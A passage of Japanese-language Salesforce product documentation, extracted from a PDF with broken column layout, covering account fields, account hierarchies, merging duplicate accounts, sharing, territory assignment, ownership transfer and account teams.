は標準値の選択リストから選択す

都道府県(郵送先)

るか、テキストとして入力します。
テキスト項目の場合、最大 80 文字
まで入力できます。

郵送先住所の町名・番地。最大 255

文字です。
町名・番地(郵送先)

郵送先住所の郵便番号。最大 20 文
字です。

郵便番号(郵送先)

個人のミドルネーム。この項目は
最大 40 文字まで入力できます。

ミドルネーム

メモ: この項目を有効化する
には、Salesforce カスタマーサ
ポートにお問い合わせくださ
い。次に、[設定] から、[ク
イック検索]ボックスに「ユー
ザインターフェース」と入力
し、[ユーザインターフェース]

を選択します。その後で、
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取引先責任者項目説明項目

[個人名の名前サフィックスを
有効化] を選択します。

取引先責任者の携帯電話番号。最
大 40 文字です。

携帯

取引先項目を最後に変更したユー
ザ、変更日時も含む。ここでは、

更新者

取引先の関連リスト項目のいずれ
かに行った変更は追跡しません (参
照のみ)。

取引先責任者の住所の市区郡(その
他)。最大 40 文字です。

市区郡(その他)

住所の国(その他)。エントリは標準
値の選択リストから選択するか、

国(その他)

テキストとして入力します。テキ
スト項目の場合、最大 80 文字まで
入力できます。

取引先責任者の電話番号(その他)。
最大 40 文字です。

電話(その他)

住所の都道府県(その他)。エントリ
は標準値の選択リストから選択す

都道府県(その他)

るか、テキストとして入力します。
テキスト項目の場合、最大 80 文字
まで入力できます。

取引先責任者の住所の町名・番地
(その他)。最大 255 文字です。

町名・番地(その他)

取引先責任者の住所の郵便番号(そ
の他)。最大 20 文字です。

郵便番号(その他)

公開や非公開などの会社所有形態。
エントリは、システム管理者が設

会社形態

定した選択可能な値リストから選
択したものです。選択リストの値
には、40 文字まで入力可能です。

取引先の主電話番号。この項目は
最大 40 文字まで入力できます。

電話

Hot (見込み有り)、Cold (見込み無し)

など、この取引先に対する評価の
評価

カテゴリ。エントリは、システム
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取引先責任者項目説明項目

管理者が設定した選択可能な値リ
ストから選択したものです。選択
リストの値には、40 文字まで入力
可能です。

様、教授など、取引先責任者を示
す敬称。エントリは、システム管

敬称

理者が設定した有効な選択リスト
値から選択されます。最大 40 文字
です。

納入先住所の市区郡部分。最大 40

文字です。
市区郡(納入先)

納入先住所の国名部分。エントリ
は標準値の選択リストから選択す

国(納入先)

るか、テキストとして入力します。
項目がテキスト項目の場合は、最
大 80 文字です。

納入先住所の都道府県部分。エン
トリは標準値の選択リストから選

都道府県(納入先)

択するか、テキストとして入力し
ます。項目がテキスト項目の場合
は、最大 80 文字です。

主な連絡先または納入先住所の町
名・番地。最大 255 文字です。

町名・番地(納入先)

主な連絡先または納入先住所の郵
便番号部分。最大 20 文字です。

郵便番号(納入先)

取引先の主要事業分類の標準産業
分類コード。この項目は最大 10 文
字まで入力できます。

産業コード

個人の名前の肩書き。この項目は
最大 40 文字まで入力できます。

肩書き

メモ: この項目を有効化する
には、Salesforce カスタマーサ
ポートにお問い合わせくださ
い。次に、[設定] から、[ク
イック検索]ボックスに「ユー
ザインターフェース」と入力
し、[ユーザインターフェース]

を選択します。その後で、

1400

顧客、競合、およびパートナーの設定顧客への営業



取引先責任者項目説明項目

[個人名の名前サフィックスを
有効化] を選択します。

取引先が割り当てられているテリ
トリー。「テリトリー管理に関す

テリトリー

るオブジェクト」 (ページ1588)を参
照してください。

特定の株式の公開株式を示すため
に使用される略語。銘柄コードと

株式コード

も呼ばれます。この項目は最大 20

文字まで入力できます。

組織内の取引先責任者の職位。最
大 80 文字です。

役職

顧客、競合会社、またはパートナー
など、取引先の種類。エントリは、

種類

システム管理者が設定した選択可
能な値リストから選択したもので
す。選択リストの値には、40 文字
まで入力可能です。

www.acme.com など、取引先の Web

サイトの URL。この項目は最大 255
Web サイト

文字まで入力できます。最初の 50

文字のみ表示されます。

関連トピック:

取引先
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取引先履歴

エディション

使用可能なインター
フェース: Salesforce Classic

法人取引先を使用可能な
エディション:
Database.com Edition 以外
のすべてのエディション

個人取引先を使用可能な
エディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

取引先を参照する
• 取引先に対する「参

照」

取引先の詳細ページにある [取引先履歴] 関連リストでは、取引先に対する変更
を追跡します。取引先の履歴を追跡するように設定した任意の標準項目または
カスタム項目をユーザが変更すると、常に新しい履歴が [取引先履歴] 関連リス
トに追加されます。個人取引先の場合、この追加には追跡する設定になってい
る、関連する取引先責任者項目が含まれます。すべてのエントリには、日付、
時間、変更内容、変更者が含まれます。取引先の関連リストへの変更は、取引
先履歴では追跡されません。

関連トピック:

取引先

取引先階層の使用に関する考慮事項とガイドライン
取引先の階層には、[親取引先] 項目によって関連付けられている取引先が表示され、会社の全体図を把握で
きます。

Lightning Experience での取引先階層の使用に関する考慮事項とガイドライン
Lightning Experience では、取引先の詳細ページの [取引先階層を表示] アクションをクリックして取引先階層
を表示します。
Salesforce Classic での取引先階層の使用に関する考慮事項とガイドライン
Salesforce Classicでは、取引先の詳細ページの [階層の表示]リンクをクリックして取引先階層を表示します。

関連トピック:

取引先項目
取引先作成のガイドライン
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Lightning Experience での取引先階層の使用に関する考慮事項とガイドライン

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

取引先を参照する
• 取引先に対する「参

照」

Lightning Experience では、取引先の詳細ページの [取引先階層を表示] アクション
をクリックして取引先階層を表示します。
取引先の表示

Lightning Experienceでは、[取引先階層] ページに最大 2,000 件の取引先が表示さ
れます (階層の他の部分で取引先を表示するには、別の取引先から階層を開
きます)。階層には参照する権限のない取引先の詳細は表示されません。

複数の場所が関連する取引先
複数の事業所を持つ会社の場合は、[取引先 部門] 項目を使用して事業所を
区別することもできます。

ディビジョン内の取引先
Salesforce 組織でディビジョンが有効になっている場合、[親取引先]項目を使
用して関連付けられた取引先は同じディビジョン内にある必要はありませ
ん。

個人取引先はサポート対象外
個人取引先は、[親取引先]項目または[取引先階層を表示]アクションではサ
ポートされていません。

階層への追加
取引先を子取引先として表示するには、その取引先を編集します。[親取引先]項目で、取引先の名前を入
力するか、ルックアップアイコンをクリックして名前を検索します。または、取引先を作成してから、子
取引先の [親取引先] 項目に追加します。

Salesforce Classic での取引先階層の使用に関する考慮事項とガイドライン

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

取引先を参照する
• 取引先に対する「参

照」

Salesforce Classicでは、取引先の詳細ページの [階層の表示]リンクをクリックして
取引先階層を表示します。
• Salesforce Classicでは、取引先階層に最大 500 件の子取引先が表示されます。階

層には参照する権限のない取引先の詳細は表示されません。
• 複数の事業所を持つ会社の場合は、[取引先 部門] 項目を使用して事業所を

区別することもできます。
• Salesforce 組織でディビジョンが有効になっている場合、[親取引先] 項目を使

用して関連付けられた取引先は同じディビジョン内にある必要はありませ
ん。

• 個人取引先は、[親取引先]項目または[取引先階層を表示]アクションではサ
ポートされていません。

• 関連子会社を一覧表示するには、関連子会社を編集し、親取引先として登録
する既存の取引先の名前を [親取引先] 項目に入力します。または、ルック
アップアイコンをクリックして親取引先を検索するか、作成します。

重複する取引先のマージ
複数の取引先を 1 つにマージし、データをクリーンに保って商談成立に集中できるようにします。
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重複する取引先のマージに関するガイドラインおよび考慮事項
重複する取引先レコードをマージする場合は、次の点に留意してください。
Lightning Experience での重複する取引先のマージ
Lightning Experience を使用して、複数の取引先を 1 つにマージします。
Salesforce Classic での重複取引先のマージ
Salesforce Classic を使用して、複数の取引先を 1 つにマージします。

関連トピック:

重複する取引先のマージに関するガイドラインおよび考慮事項

重複する取引先のマージに関するガイドラインおよび考慮事項

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

法人取引先を使用可能な
エディション:
Database.com Edition 以外
のすべてのエディション

個人取引先を使用可能な
エディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

重複する取引先レコードをマージする場合は、次の点に留意してください。
Merging Duplicate Accounts: Tips and Gotchas (重複する取引先のマージ: ヒントおよ

び潜在的な問題)

一般情報
マージできるユーザ

Salesforce システム管理者、取引先の所有者、またはロール階層内でその取引
先所有者の上位にあり、適切なユーザ権限 (取引先に対する「削除」、およ
び商談やケースなど関連オブジェクトに対する「編集」) を持つユーザは、
取引先をマージできます。

共有ルール
Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、Developer

Edition のいずれかを使用している組織では、マージされた取引先にすべての
共有ルールが適用されます。また、マスタレコードの共有の直接設定は、
マージ後の取引先に適用されます。

重複するリレーション
同じ取引先責任者に間接的に関連する取引先をマージしようとすると、Salesforce は、重複するリレーショ
ンの削除を推奨するメッセージを表示します。取引先レコードでは、間接リレーションは [関連取引先責任
者] 関連リストで管理されます。

関連項目、Chatter フィード、添付ファイル
重複するレコードがキャンペーンや活動などの項目に関連する場合、Salesforce はその項目を、マージされ
たレコードに関連付けます。ただし、いくつかの例外があります。マスタレコードからの Chatter フィード
のみが保持されます。Chatterフィードの添付ファイルは Salesforce 内で保持されますが、マージされたレコー
ドに関連付けられません。欠落したファイルを、マージされたレコードに関連付けるには、[ファイル] ホー
ム (Lightning Experience) または [ファイル] タブ (Salesforce Classic) でそのファイルを見つけます。次に、該当の
ファイルを、マージされたレコードの [ファイル] 関連リストに追加します。

非表示項目と参照のみ項目
Salesforce では、マスタレコードの非表示項目または参照のみ項目 (共有設定など) のデータをすべて保持し
ます。マージ中、非表示項目は表示されません。マージされたレコードは、どちらのレコードがマスタで
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あるかに関わらず、マージされた最も古いレコードの [作成者] ユーザと [作成日] を保持します。レコー
ドには、[最終更新者] の日付がマージ日として表示されます。

取引先階層
Lightning Experienceでは、保持する親アカウントを選択できます。Salesforce Classicでは、マージ後の取引先で
マスタレコードの取引先階層が保持されます。

マスタ以外の取引先
マスタ以外の取引先は、ごみ箱に移動されます。

ディビジョン
組織でディビジョンが有効になっている場合、マージされた取引先は特に選択していない限りマスタレコー
ドのディビジョンに割り当てられます。

リレーショングループ
Lightning Experience では、リレーショングループに関連付けられている取引先責任者のマージはサポートさ
れていません。

チームメンバー
マスタ以外の取引先のチームメンバー

マージされた取引先には、チームメンバーが別々のチームに属していても、マスタ以外の取引先のすべて
のチームメンバーが保持されます。

チームに対するマージ権限
自分よりも高いレコードレベルのアクセス権がチームメンバーにある取引先をマージするには、取引先に
対する「すべてのデータの編集」権限が必要です。たとえば、取引先の子レコードに対するアクセス権が、
取引先所有者よりも取引先チームメンバーの方が高いとします。この場合、それらの取引先をマージする
には、「すべてのデータの編集」権限が必要になります。

個人取引先
Lightning Experience では個人取引先のマージはサポートされない

Lightning Experience では、個人取引先のマージはサポートされていません。
ポータルサポート

Salesforce Classic では、カスタマーポータルの使用が有効になっている個人取引先はマージできません。
Salesforce Classic での個人取引先と法人取引先

Salesforce Classicでは、組織で個人取引先が有効になっている場合に重複を検索すると、法人取引先と個人取
引先の両方が返されます。ただし、個人取引先と法人取引先をマージすることはできません。個人取引先
は、個人取引先アイコン ( ) で示されます。

重複するリレーション
Salesforce Classicでは、同じ取引先責任者または取引先に間接的に関連する個人取引先をマージしようとする
と、Salesforce は、重複するリレーションの削除を推奨するメッセージを表示します。取引先との間接リレー
ションと取引先責任者との間接リレーションは個別に評価されます。両方との競合がある場合は、個別に
解決する必要があります。
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ポータル
• ポータルに関連付けられた取引先をマージするには、「ユーザの管理」権限が必要です。
• 取引先責任者がポータルと関連している取引先をマージする場合、取引先責任者に同じ種別のポータルが

必要です。
• 同じ種別の複数のポータルに関連付けられている取引先責任者を持つ取引先をマージしても、特定のポー

タルに対する取引先責任者のアクセス権は変わりません。アクセスできるポータルはポータルユーザのプ
ロファイルによって決まります。

• パートナー取引先とパートナー以外の取引先をマージする場合は、パートナー取引先をマスタレコードと
して選択する必要があります。

• パートナー取引先とパートナー以外の取引先をマージする場合、所有者は変更できません。
• マージされた取引先で取引先責任者をポータルと関連付けるには、ポータルユーザを含む取引先をマスタ

レコードとして選択します。

テリトリー管理 (Salesforce Classic のみ)

この情報は、元のテリトリー管理機能にのみ適用され、エンタープライズテリトリー管理には適用されませ
ん。
• マージ前の取引先で [テリトリーの割り当てルールから除外] が選択されていない場合は、マージされた取

引先で取引先割り当てルールを実行してテリトリーを判断します。マスタ以外の取引先に手動で追加され
たテリトリーは、新しい取引先に手動で追加します。

• マージ前の取引先のうち少なくとも 1 つで [テリトリーの割り当てルールから除外] が選択されている場合
は、次の事項が発生します。
– 取引先割り当てルールは、マージされた取引先には適用されません。
– マージされた取引先は、マスタ以外の取引先からテリトリーをすべて継承します。
– 割り当てルールを使用してマスタ以外の取引先にテリトリーを割り当てた場合は、マージされた取引先

にルールを適用していなくても、新しくマージされた取引先にも割り当てルールを使用してテリトリー
を割り当てたかのように表示されます。

– テリトリーがマスタ以外の取引先の 1 つに手動で割り当てられていた場合、マージされた取引先にテリ
トリーを手動で割り当てます。

– テリトリーが手動で 1 つの取引先に追加され、他の取引先にはルールで追加されていた場合、マージさ
れた取引先にテリトリーを手動で追加します。

エンタープライズテリトリー管理 (Salesforce Classic のみ)

この情報は、エンタープライズテリトリー管理機能にのみ適用され、元のテリトリー管理には適用されませ
ん。
• テリトリーがマージされた取引先の 1 つに手動で割り当てられていた場合 (すべての状態のモデル)、テリト

リーがまだなければ、マージされた取引先にテリトリーを手動で追加します。
• 該当の取引先ページレイアウトの [レイアウトのプロパティ] にある [保存時にテリトリールールに照らして

この取引先を評価] の [デフォルトで選択] をオンにした場合にのみ、有効なテリトリーモデルのマージさ
れた取引先に対して取引先割り当てルールが実行されます。
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• [テリトリーの割り当てルールから除外]のマージされた値が trueの場合、1) 該当の取引先ページレイアウ
トの [レイアウトのプロパティ] にある [保存時にテリトリールールに照らしてこの取引先を評価] チェック
ボックスの [デフォルトで選択] がオンになっていても、テリトリー割り当てルールは評価されず、2) 有効
なモデルのテリトリーの関連付けに基づく既存のルールは、マージされた取引先から削除されます。

• 無効な状態 (計画中またはアーカイブ済み) のテリトリーモデルの場合、マージされた取引先の項目値がルー
ルに一致していなくても、マージされた取引先のルールに基づく関連テリトリーは変更されません。

関連トピック:

重複する取引先のマージ
取引先チーム
個人取引先とは?

Lightning Experience での重複する取引先のマージ

エディション

使用可能なエディション:
Lightning Experience

法人取引先を使用可能な
エディション: Group
Edition、Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

Lightning Experience では、
個人取引先はサポートさ
れていません。

ユーザ権限

取引先を参照する
• 取引先に対する「参

照」

法人取引先をマージする
• 取引先に対する「削

除」

および

商談やケースなど、関
連オブジェクトに対す
る「編集」

Lightning Experience を使用して、複数の取引先を 1 つにマージします。
1. 取引先レコードを選択します。重複が存在する場合、重複は [潜在的な重複]

関連リストに表示されます。または、取引先に表示される [重複を表示]リン
クをクリックします。

2. マージする取引先レコードを 3 つまで選択します。[続行]をクリックします。
3. マスタとする取引先レコードを 1 つ選択します。
4. 保持する項目値を選択します。
5. レコードをマージすることを確認し、[次へ] をクリックして [取引先のマー

ジ] をクリックします。

関連トピック:

重複する取引先のマージに関するガイドラインおよび考慮事項
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Salesforce Classic での重複取引先のマージ

エディション

使用可能なエディション:
Salesforce Classic

法人取引先を使用可能な
エディション:
Database.com Edition 以外
のすべてのエディション

個人取引先を使用可能な
エディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

取引先を参照する
• 取引先に対する「参

照」

法人取引先をマージする
• 取引先に対する「削

除」

および

商談やケースなど、関
連オブジェクトに対す
る「編集」

個人取引先をマージする
• 取引先に対する「削

除」

および

取引先責任者に対する
「参照」

Salesforce Classic を使用して、複数の取引先を 1 つにマージします。
1. [取引先] タブの [ツール] セクションにある [取引先のマージ] をクリックしま

す。
2. 重複している取引先を検索するには、検索文字列を入力します。その後、[取

引先の検索] をクリックします。
3. マージする取引先を 3 つまで選択します。その後、[次へ]をクリックします。
4. マスタレコードとする取引先を 1 つ選択します。
5. 残す項目を各レコードから選択します。値が競合する項目は強調表示されま

す。
6. [マージ] をクリックします。

関連トピック:

重複する取引先のマージに関するガイドラインおよび考慮事項
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取引先の共有

エディション

使用可能なインター
フェース: Salesforce Classic

法人取引先を使用可能な
エディション:
Database.com Edition 以外
のすべてのエディション

個人取引先を使用可能な
エディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

テリトリーに対する取引先アクセス権のデフォルト値および組織の共有モデル
は、システム管理者が定義します。ただし、自分の所有する取引先に対しては、
ユーザ自身のデータの共有権限を、取引先ごとに拡大できます。取引先の共有
を使用して、取引先へのアクセス権のレベルを上げることができます。ただし、
組織のデフォルトのアクセス権を超えるアクセスは制限できません。
共有の詳細を表示および管理するには、取引先の詳細ページで [共有] をクリッ
クします。共有の詳細ページには、取引先への共有アクセス権を持つユーザ、
グループ、ロール、およびテリトリーが一覧表示されます。このページでは、
次の作業を実行できます。
• 他のユーザ、グループ、ロール、またはテリトリーのレコードへのアクセス

権を付与するには、[追加] をクリックします。

メモ: 取引先を共有する場合、関連する取引先責任者、商談、または
ケースを共有して、アクセスレベルを最高でもユーザが持つ権限までと
するかを尋ねられます。Enterprise Edition、Unlimited Edition、Performance

Edition、および Developer Edition のユーザは、レコード詳細ページから関
連レコードを共有することもできます。ユーザは、共有レコードに対し
て少なくとも「参照」権限を持つようにしてください。

または、取引先チームを作成して取引先のアクセス権を共有できます。
• レコードへのアクセス権を持つすべてのユーザを表示するには、[リストの拡張] をクリックします。
• 自分で作成した共有の直接設定ルールについては、リスト内の項目の横にある [編集] か [削除] をクリック

すると、アクセスレベルを編集または削除できます。取引先の場合、「所有者」共有ルールも編集できま
す。

関連トピック:

テリトリー管理に関するオブジェクト
取引先チーム
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レコードの翻訳名

エディション

使用可能なインター
フェース: Salesforce Classic

法人取引先を使用可能な
エディション:
Database.com Edition 以外
のすべてのエディション

個人取引先を使用可能な
エディション: Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

取引先、取引先責任者、リードの翻訳名を保存するには、ローカルネーム項目
を使用します。
たとえば、取引先の名前を Salesforce 組織のデフォルト言語で保存することも、
取引先またはユーザの言語で保存することもできます。次の項目には対応する
ローカルネームを設定できます。

ローカルネーム項目標準項目

取引先名 (ローカル)取引先名

取引先責任者: 名 (ローカル)取引先責任者: 名

取引先責任者: ミドルネーム (ローカル)取引先責任者: ミドルネーム

取引先責任者: 姓 (ローカル)取引先責任者: 姓

リード: 会社名 (ローカル)リード: 会社

リード: 名 (ローカル)リード: 名

リード: ミドルネーム (ローカル)リード: ミドルネーム

リード: 姓 (ローカル)リード: 姓

ローカルネームはユーザの言語設定に影響しません。使用しているページレイアウト設定に応じて、ローカル
ネームを詳細ページまたは編集ページに表示できます。

関連トピック:

取引先
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取引先のテリトリーの変更

エディション

使用可能なインター
フェース: Salesforce Classic

法人取引先を使用可能な
エディション:
Database.com Edition 以外
のすべてのエディション

個人取引先を使用可能な
エディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

テリトリー管理を使用可
能なエディション:
Performance Edition および
Developer Edition と、Sales
Cloud が付属する
Enterprise Edition および
Unlimited Edition

ユーザ権限

取引先のテリトリーを変
更する
• 「テリトリーの管理」

または

売上予測マネージャで
ある。売上予測マネー
ジャは、テリトリー階
層において自分の下位
で作業するユーザのテ
リトリーを管理できま
す。

手動で割り当てられた取引先のテリトリーを変更する手順は、次のとおりです。
1. 取引先詳細ページで [テリトリー]項目の横にある[変更]をクリックします。
2. [ルールに基づいたテリトリー割り当て]リストで、有効な取引先割り当てルー

ルによって取引先が含まれたテリトリーを参照します。このページは、表示
されたテリトリーから取引先を削除するためには使用できません。削除する
には、取引先を評価するための取引先割り当てルールを変更する必要があり
ます。

3. 取引先がすでに手動で 1 つ以上のテリトリーに割り当てられている場合は、
そのテリトリーの名前が [選択されたテリトリー] リストに表示されます。

4. [選択] および [選択解除] をクリックして、[利用できるテリトリー] リストお
よび [選択されたテリトリー] リスト間でテリトリーを移動します。

5. 必要に応じて、ドロップダウンリストの [横に並べて表示] または [縦に並べ
て表示] をクリックして、[選択されたテリトリー] リストを [利用できるテリ
トリー] リストと並べるか、または下に配置できます。

6. 手動で割り当てられるテリトリーが [選択されたテリトリー] リストに含まれ
ている場合は、[保存] をクリックして終了し、取引先の詳細ページに戻りま
す。

関連トピック:

テリトリー管理に関するオブジェクト
手動による取引先のテリトリーへの割り当て
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レコードの所有者の変更

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

1 つのレコードを移行する
• 「所有権の移行」

移行されるレコードのタイプに対して少なくとも「参照」権限を持つ別のユー
ザに、レコードの所有権を付与できます。
1. レコード詳細ページで、リンクをクリックして所有者を変更します。

リンクが表示されていない場合は、レコードの所有権を変更する権限があり
ません。

2. 新しい所有者を入力または選択します。Salesforce カスタマーポータルまたは
パートナーポータルが有効になっている組織では、ユーザのルックアップダ
イアログに表示される結果を指定できます。表示する結果を指定するには、
[所有者] または [割り当て先] ドロップダウンリストでキューまたはユーザ
グループを選択します。

メモ: 入力または選択できるのは、レコードを所有するための権限があ
るユーザのみです。カスタマーポータルユーザやパートナーユーザは、
[ユーザ] グループと [ロール & 内部下位ロール] グループのどちらにも含
まれません。

3. 新しい所有者に通知するには、[メールで通知する]チェックボックスをオン
にします。
通知に表示された「送信元」のメールアドレスが、メール設定に設定した返
信用メールアドレスです。
Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition の組織のケー
スの場合、メールテキストはサポートの設定で指定されている [ケース割り当て時のテンプレート] によっ
て決まります。その他のレコードの場合は、メールテキストは自動的に生成され、カスタマイズできませ
ん。

4. 移行するオブジェクトの種別とユーザ権限によっては、次のチェックボックスが表示される場合がありま
す。

表示の対象説明チェックボックス

[ディビジョン]項目の参
照または編集が可能な場

レコードを新しい所有者のディビジョンに移行しま
す。その取引先と関連付けられているすべてのレ
コードが、新しいディビジョンにも自動的に移行さ
れます。

ディビジョンの変更

合は、Salesforce Classicの取
引先とリード

Lightning Experience の取引
先
Salesforce Classic の取引先

この取引先に関連付けられている他のユーザが所有
する進行中の商談を移行します。

[既存取引先 所有者が所
有しない進行中の商談を移
行]または [自分が所有し
ない進行中の商談を移行]

Salesforce Classic の取引先その取引先に関連付けられている完了した商談を移
行します。このオプションは、取引先所有者が所有

完了した商談も移行

する完了した商談のみに適用されます。他のユーザ
が所有する完了した商談は変更されません。
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表示の対象説明チェックボックス

Salesforce Classic の取引先既存の取引先所有者が所有する取引先に関連付けら
れているオープンケースがあれば、それを移行しま
す。

既存取引先 所有者が所有
する進行中ケースを移行

Salesforce Classic の取引先その取引先に関連付けられているクローズしたケー
スを移行します。このオプションは、取引先所有者

完了したケースも移行

が所有するクローズしたケースのみに適用されま
す。他のユーザが所有するクローズしたケースは変
更されません。

Salesforce Classic の取引先その取引先のすべての取引先チームメンバーを新し
い所有者に移行します。

現在の取引先チームをその
まま使用する

Salesforce Classic の取引先
Salesforce Classic の商談

商談が新しい所有者に移行されるときに商談チーム
を保存します。すべての商談分割が保存され、前の
所有者に割り当てられていた分割率は新しい所有者

商談チームをそのまま使用
する

に移行されます。このチェックボックスがオフに
なっていると、商談が移行されるときに、すべての
商談チームメンバーと分割が削除されます。

メモ: 完了した商談を移行する場合、この設定
に関係なく、商談チームと商談の分割は維持
されます。

メモ: [完了した商談も移行] と [商談チームをそのまま使用する] の両方がオフになっている取引先所
有者を変更する場合は、完了した商談に対する商談チームのメンバーのアクセス権が非公開になりま
す。つまり、商談チームのメンバーはすべての完了した商談に対するアクセス権を失います。

5. 所有者の変更を保存します。

関連トピック:

関連項目の移行
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関連項目の移行

エディション

使用可能なインター
フェース: Salesforce Classic
および Lightning Experience

使用可能なエディション:
Contact Manager Edition、
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

レコードの所有者を変更する場合、関連付けられたレコードの一部も新しい所
有者に移行されます。

重要: また、所有者を更新するワークフロールールは関連付けられた項目
に転送されません。転送を行うには、レコードの所有者名の横にある [変
更] をクリックして、転送の選択を行います。

一緒に移行される関連項目レコードタイプ

移行する契約に関連付けられているか契約が存在しない、
取引先責任者、[ドラフト] 状況の契約、添付ファイル、
メモ、活動予定、および [ドラフト] 状況の注文。選択内
容に応じて、これに現在の取引先所有者が所有していない
活動予定、完了した商談、既存の取引先所有者が所有する
オープンケース、クローズケースが含まれる場合もありま
す。
パートナー取引先が移行される場合、その取引先に関連付
けられているパートナーユーザは、ロール階層で新しい所
有者の下に移されます。

取引先

[有効] 状況の契約および注文は新しい所有者に移行され
ませんが、新しい所有者にはこれらの契約および注文に対
する参照のみのアクセス権があります。

メモ、添付ファイル、および活動予定取引先責任者

未完了の ToDo および将来の行動 (古い所有者と新しい所有
者がどちらもキューに入っていない場合にのみ適用されま
す)

注文

メモ、添付ファイル、および活動予定商談

メモ、添付ファイル、および活動予定。リードの所有権を
[有効な割り当てルールによりリードを割り当てる] チェッ

リード

クボックスを使用して変更した場合、活動予定は移行され
ません。

メモ、添付ファイル、および活動予定ケース

添付ファイルと活動予定キャンペーン

[ドラフト] 状況のメモ、添付ファイル、活動予定、およ
び注文

契約

メモ、添付ファイル、および活動予定カスタムオブジェ
クト

1414

顧客、競合、およびパートナーの設定顧客への営業



メモ: 招待されていて、所有していない行動は移行できません。

関連トピック:

レコードの所有者の変更
パートナーユーザの作成

取引先関連情報の検索 (関連リスト)

エディション

法人取引先を使用可能な
インターフェース:
Salesforce Classic および
Lightning Experience の両方

法人取引先を使用可能な
エディション: すべてのエ
ディション

個人取引先を使用可能な
エディション: Salesforce
Classic および Lightning
Experience の両方

個人取引先を使用可能な
エディション: Professional
Edition、Enterprise
Edition、Performance
Edition、Unlimited Edition、
および Developer Edition

ユーザ権限

取引先に対する「参照」取引先を参照する

取引先に対する「編集」法人取引先を編集する

取引先と取引先責任者に対する「編集」個人取引先を編集する

「外部ユーザの管理」パートナー取引先を有効にする

取引先に対する「編集」

および

「外部ユーザの管理」

パートナー取引先を無効にする

取引先に対する「編集」

および

「セルフサービスユーザの編集」

カスタマーポータル取引先を無効にする

関連リスト (商談など) には取引先に関連する情報が表示されます。
• 詳細ページの最上部にあるリンクの上にカーソルを置くと、対応する関連リ

ストとそのレコードが表示されます。Chatterが有効化されると、フロート表
示リンクがフィードの下に表示されます。対話形式のフロート表示を使用し
て、ユーザは関連リストの項目を簡単に表示、管理できます。フロート表示リンクをクリックすると、関
連リストのコンテンツにジャンプできます。フロート表示リンクが有効になっていない場合は、Salesforce

のシステム管理者にお問い合わせください。
• 詳細のフロート表示が有効になっている場合、詳細ページで参照項目の上にカーソルを置くと、クリック

してレコードの詳細ページに入る前に、レコードに関する情報を表示できます。
• 新しい項目を直接追加するには、関連リストの上部にある[新規] (または同等のボタン) をクリックします。

たとえば、[活動予定] 関連リストに ToDo を追加するには [新規 ToDo] をクリックします。
• 関連リストに表示されるレコードの数を変更するには、関連リストの下にある[増やす]をクリックするか、

ページ下部の [減らす] または [さらに表示] をクリックします。
• ポータルユーザに属する関連レコードを表示できない場合は、Salesforce のシステム管理者にお問い合わせ

ください。
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関連リストの表示
表示される関連リストは、次の条件で決まります。
• 使用している Salesforce エディション
• Salesforce Classic または Lightning Experience のどちらを使用しているか
• 法人取引先または個人取引先のどちらを表示しているか
• 個人用のカスタマイズ設定
• Salesforce システム管理者が設定したページレイアウトのカスタマイズ
• 関連データを表示する権限

関連トピック:

取引先

取引先に関する連携

取引先チーム

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

取引先チームとは、取引先を担当するユーザで構成されるチームのことです。
たとえば、担当役員、専任サポート要員、およびプロジェクトマネージャで取
引先チームを構成できます。取引先チームを使用すると、取引先に対するコラ
ボレーションを容易に追跡できます。
取引先チームと商談チームは同じではありませんが、チームメンバーの役割は
同じです。
取引先チームは、所有する各取引先に対して構成できます。取引先チームのメ
ンバーを選出するときに、取引先に対するメンバーの役割を指定します。共有
モデルに従って、取引先と、その取引先に関連する取引先責任者、商談、ケー
スへの各取引先チームメンバーのアクセス権レベルを指定できます。そのため、
一部のチームメンバーには「参照のみ」権限を付与し、その他のメンバーには
「参照・更新」権限を付与することが可能です。
デフォルトの取引先チームには、取引先を通常担当しているユーザを含めることができます。このデフォルト
の取引先チームをすべての取引先に自動的に追加することもできます。
カスタムリストビューでは、自分が所属する取引先チームによって、取引先リストを絞り込むことができま
す。取引先のカスタムリストビューを作成または編集しているときに、[私の取引先チーム] 条件を選択しま
す。取引先レポートでは、自分が所属する取引先チームによって、取引先を絞り込むことができます。

取引先チームメンバーの追加
取引先レコードの所有者、またはロール階層で所有者よりも上位に位置し、取引先に対する参照アクセス
権があるユーザは、チームメンバーを追加できますが、編集することはできません。取引先に対する編集
アクセス権があれば、チームメンバーを編集または削除することもできます。
取引先チームメンバーの削除に関する考慮事項
取引先チームからメンバーを削除する前に、次の考慮事項に注意してください。
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デフォルト取引先チームの設定に関するガイドライン
通常取引先を担当している同僚で構成されるデフォルトの取引先チームを設定すると、時間を節約できま
す。デフォルトチームを設定したら、自分が所有する取引先に追加します。

取引先チームメンバーの追加

エディション

使用可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

チームメンバーを取引先
に追加する
• ユーザに対する「参

照」

および

取引先に対する「編
集」

チームメンバーとして取
引先を参照する
• 取引先に対する「参

照」

取引先レコードの所有者、またはロール階層で所有者よりも上位に位置し、取
